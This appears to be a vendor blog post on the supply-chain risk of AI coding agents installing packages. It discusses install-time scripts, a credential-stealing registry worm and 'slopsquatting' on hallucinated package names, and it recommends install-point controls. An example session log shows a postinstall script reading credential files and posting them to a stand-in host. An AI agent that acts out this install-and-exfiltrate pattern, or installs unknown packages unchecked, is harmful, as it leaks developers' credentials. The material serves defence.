A build is failing at two in the morning because an import cannot be resolved. An agent is working the ticket. It reads the error, decides a helper library is missing, installs it, re-runs the suite and reports green. In the morning a developer sees a passing pipeline and a small, sensible-looking commit. Somewhere in that sequence, code the team never chose ran on a laptop that holds cloud credentials, a package publish token and an SSH key.

None of the individual steps are new. Dependency confusion, typosquatting and malicious install scripts predate all of this. What changed is who is doing the installing, how often, and how thoroughly nobody is watching.

Install is execution

It is worth saying plainly, because a lot of policy is written as if it were not true: installing a dependency is running untrusted code as your user. Lifecycle scripts fire on install, before anyone imports anything, before a test runs, before review. They inherit the environment of whoever, or whatever, invoked the install: shell variables, credential files in the home directory, cloud config, registry tokens, the agent's own session state.

On a developer workstation that environment is unusually rich. It is the machine where secrets are convenient rather than well managed, and it is precisely the machine you have now given to a process that installs things on its own initiative.

text
--- agent session 91b4e0 :: "get the failing timezone tests green" ---

02:41:52  agent   test failure: cannot find module 'date-fns-tz-utils'
02:41:53  shell   npm install date-fns-tz-utils
02:41:56  net     public registry GET /date-fns-tz-utils -> 200 (first published 6 days ago)
02:41:58  proc    lifecycle script postinstall -> node scripts/setup.js
02:41:58  file    read ~/.npmrc, ~/.aws/credentials, ./.env, ~/.config/gh/hosts.yml
02:41:59  net     POST https://cdn-telemetry-check.example/c   (4.1 KB, gzip)
02:42:01  agent   tests passing. "Added the missing timezone helper and re-ran the suite."

--- the same session, governed at the command layer ---

02:41:53  shell   npm install date-fns-tz-utils
          policy  rule "registry-allowlist" :: package not in approved mirror -> ASK
          operator  verdict requested on ws-114: install 'date-fns-tz-utils' (unknown,
                    published 6 days ago, 0 dependents) -> DENIED by j.doe
          audit   session 91b4e0, verdict DENY, rule registry-allowlist

The worm that used developers as transport

In late 2025 a self-replicating campaign moved through one of the major public registries. The pattern was elegant and unpleasant: a compromised package ran an install-time script that harvested credentials from the developer or CI environment it landed in, then used any publishing tokens it found to inject itself into other packages that victim maintained. Each success bought the next set of victims. It ran in waves, and the second wave was substantially larger than the first, because the first had already collected the keys.

Two properties made it work, and both are worse in an agentic setting. It needed install-time code execution, which every major ecosystem still offers by default. And it needed a machine where a credential with publish rights was sitting next to a fresh install, which describes essentially every developer laptop and a large share of build runners.

The packages that do not exist yet

The second half of the problem is stranger. Models invent dependency names. Asked for a library to do a thing, they will occasionally produce a plausible, well-formed, entirely fictional package: the right ecosystem conventions, a sensible name, no such publication. Research through 2024 and 2025 put the rate at a few percent for the strongest commercial models and considerably higher for smaller open ones, across hundreds of thousands of generated snippets.

The security consequence comes from a detail that is easy to miss: the hallucinations are repeatable. Ask the same question in the same way and a meaningful share of models will invent the same name again. That turns a curiosity into a targeting mechanism. An attacker generates code at scale, collects the names that do not resolve, registers them, and waits for someone else's agent to ask the same question. The practice has picked up the name slopsquatting, and unlike typosquatting it does not require anyone to make a typo.

A human hitting an unresolvable import searches for it, finds nothing familiar, and pauses. An agent hitting the same error installs whatever now occupies that name and moves on, because the install succeeded and the test went green. The feedback signal it optimises for is exactly the signal the attacker controls.

Why the usual answers underperform here

  1. Scanning is retrospective. Vulnerability databases describe known-bad versions. A package first published six days ago, or six minutes ago, is not in them. The worm and the slopsquat both live entirely inside that window.
  2. Review happens too late. Code review sees the lockfile change. The install script already ran, on the developer's machine, hours earlier. By the time a human looks at the diff, the credentials are gone.
  3. Lockfiles pin what was chosen, not whether it should have been. They are excellent at reproducibility and silent about provenance.
  4. Egress filtering alone is not enough if the exfiltration destination is a mainstream cloud host or a paste service, and it will be.

Controls at the point of install

The common property of everything that works: it acts at the moment the install command is issued, and it does not depend on anyone having heard of the package.

  • Install commands are a governed verb. Package installation from an agent session is denied by default and gated by an ask verdict that names the exact package and version. Most of the time the answer is yes and it costs a second. The one time it is no, it costs nothing at all.
  • Resolve through an internal mirror or proxy, never straight to the public registry. An allowlist plus a quarantine period on newly published versions removes the entire class of six-day-old packages without anyone having to identify a specific bad actor.
  • Lifecycle scripts disabled by default. Most builds do not need them. The ones that do can be enumerated, and that enumeration is a short list you will be glad to have.
  • No publish tokens, long-lived cloud keys or SSH keys reachable from an agent session. Short-lived, scoped credentials obtained per task. If an install script does run, it should find an empty room.
  • Verify the package exists before it is a security event. An install of a name with no history, no dependents and a publication date inside the last month is worth one human glance, and that check is trivial to automate at the policy layer.
  • Every install attempt in an audit trail, allowed or denied, with the resolved name, version and session. When the next wave is disclosed, the question "were we exposed, and where" should take minutes, not a week.

The agent did not do anything a developer could not have done. It just did it four hundred times, overnight, from packages none of us had heard of.

Paraphrasing more than one post-incident review

A test you can run this week

  1. Publish a harmless package to your internal registry under a name no one uses, with an install script that writes a single line to a log. Give an agent a task whose obvious fix is to install it. See whether anything, anywhere, produced an alert.
  2. On one developer machine, list everything an install script would find: environment variables, credential files, cloud config, registry and version-control tokens. Rotate anything on that list that is long-lived.
  3. Take last month's agent sessions and count installs. Compare it against your assumption. The gap between those two numbers is the conversation to have with the platform team.
  4. Ask an agent for a library to solve three unusual problems in your stack. Check whether the packages it names exist. Note which invented names are repeatable across runs, then check whether someone has already registered them.

Supply-chain security has always been about deciding what you are willing to run. Agents did not change that. They changed how many of those decisions happen per hour, and who is present when they are made.


Check your agent risk exposure